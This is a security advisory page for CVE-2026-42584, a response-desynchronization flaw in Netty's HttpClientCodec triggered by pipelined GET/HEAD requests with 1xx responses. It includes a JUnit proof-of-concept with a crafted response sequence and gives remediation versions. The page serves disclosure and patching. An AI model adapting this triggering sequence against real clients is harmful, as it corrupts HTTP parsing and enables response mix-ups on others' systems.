Netty HTTP Codec CVE-2026-42584
HIGHCVSS VectorNVD
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L
Lifecycle Timeline
3Blast Radius
ecosystem impact- 11 maven packages depend on io.netty:netty-codec-http (11 direct, 0 indirect)
Ecosystem-wide dependent count for version 4.2.0.Alpha1.
DescriptionNVD
Summary
If HttpClientCodec is configured, there are use cases when a response body from one request, can be parsed as another's.
Details
HttpClientCodec pairs each inbound response with an outbound request by queue.poll() once per response, including for 1xx. If the client pipelines GET then HEAD and the server sends 103, then 200 with GET body, then 200 for HEAD, the queue pairs HEAD with the first 200. The HEAD rule then skips reading that message’s body, so the GET entity bytes stay on the stream and the following 200 is parsed from the wrong offset.
Prerequisites
- HTTP/1.1 pipelining
- HEAD in the pipeline
- The server sends 1xx
PoC
@Test
public void test() {
EmbeddedChannel channel = new EmbeddedChannel(new HttpClientCodec());
assertTrue(channel.writeOutbound(new DefaultFullHttpRequest(HttpVersion.HTTP_1_1, HttpMethod.GET, "/1")));
ByteBuf request = channel.readOutbound();
request.release();
assertNull(channel.readOutbound());
assertTrue(channel.writeOutbound(new DefaultFullHttpRequest(HttpVersion.HTTP_1_1, HttpMethod.HEAD, "/2")));
request = channel.readOutbound();
request.release();
assertNull(channel.readOutbound());
String responseStr = "HTTP/1.1 103 Early Hints\r\n\r\n" +
"HTTP/1.1 200 OK\r\nContent-Length: 5\r\n\r\nhello" +
"HTTP/1.1 200 OK\r\n\r\n";
assertTrue(channel.writeInbound(Unpooled.copiedBuffer(responseStr, CharsetUtil.US_ASCII)));
// Response 1
HttpResponse response = channel.readInbound();
assertEquals(HttpResponseStatus.EARLY_HINTS, response.status());
LastHttpContent last = channel.readInbound();
assertEquals(0, last.content().readableBytes());
last.release();
// Response 2
response = channel.readInbound();
assertEquals(HttpResponseStatus.OK, response.status());
last = channel.readInbound();
assertEquals(0, last.content().readableBytes());
last.release();
// Response 3
FullHttpResponse response1 = channel.readInbound();
assertTrue(response1.decoderResult().isFailure());
assertEquals(0, response1.content().readableBytes());
response1.release();
assertFalse(channel.finish());
}Impact
Integrity/availability of HTTP parsing on that connection, unsafe reuse of the socket.
AnalysisAI
HTTP response desynchronization in Netty's HttpClientCodec allows response body misattribution across pipelined requests when servers send 1xx informational responses. When a client pipelines GET and HEAD requests and the server responds with 103 Early Hints followed by 200 responses, the codec incorrectly pairs the HEAD request with the GET's 200 response, causing the GET response body to remain on the stream and corrupt subsequent response parsing. …
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RemediationAI
Within 24 hours: inventory all applications and dependencies using Netty versions before 4.1.133.Final or 4.2.13.Final; identify systems processing pipelined HTTP requests. Within 7 days: deploy Netty 4.1.133.Final or 4.2.13.Final across all affected applications; prioritize systems exposed to untrusted networks. …
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External POC / Exploit Code
Leaving vuln.today
GHSA-57rv-r2g8-2cj3